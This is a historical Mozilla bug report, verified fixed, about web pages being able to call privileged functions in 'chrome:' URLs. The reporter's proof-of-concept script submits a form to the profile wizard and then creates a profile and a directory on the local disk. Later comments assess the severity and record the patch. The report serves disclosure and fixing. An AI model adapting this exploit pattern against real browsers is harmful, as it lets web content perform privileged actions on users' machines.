21144 - [DOGFOOD] Executing JS functions in "chrome:" protocol (creating local directories and profiles)

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[joro]

There is a vulnerability, which allows executing JavaScript functions in the
"chrome:" protocol.
This is dangerous because such functions have much more priviligies than
JavaScript functions loaded from a web page.
If one opens a "chrome:" url in a window, he have access to all functions in the
window and the functions are executed by "windowname.functionname()" in the
"chrome:" protocol.
Some of the predefined functions in the Mozilla chrome may do dangerous things.
This demonstration creates a profile named "georgi" and creates the directory
"c:\georgi".
The code is:
-------------------------------------------------------------------------
<SCRIPT>
b=window.open("","victim");
function g()
{
b.profile.createNewProfile("georgi","c:\\georgi\\");
}
setTimeout("document.forms[0].submit()",1000);
setTimeout("g()",4000);
</SCRIPT>
<FORM ACTION="chrome://profile/content/createProfileWizard.xul" TARGET="victim"
METHOD="POST">
</FORM>
-------------------------------------------------------------------------

Comment 1

[Norris Boyd]

Marking dogfood for PDT consideration.

Comment 2

[Norris Boyd]

Jim Roskind asked:
>Can you make some comments about this bug?  Can the content arrive from
>outside, or is it restricted to stuff on the local
>disk?  Is there any obvious attackable script sitting locally?

This bug allows access to all functions defined in chrome. This is the
equivalent of a Java applet being able to call all methods of all classes in the
system. We haven't reviewed the whole of the JavaScript defined in chrome since
the model is to prevent access to all of it, but I would be very suprised if
there weren't many opportunities for exploitation.

Comment 3

[leger]

Putting on PDT- radar.  But it good for M12...please see chofmann for approval
to check in.

Comment 4

[Norris Boyd]

Fixed:

Checking in nsFormFrame.cpp;
/m/pub/mozilla/layout/html/forms/src/nsFormFrame.cpp,v  <--  nsFormFrame.cpp
new
revision: 3.86; previous revision: 3.85
done

Comment 5

[John Unruh]

Verified fixed.

Comment 6

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.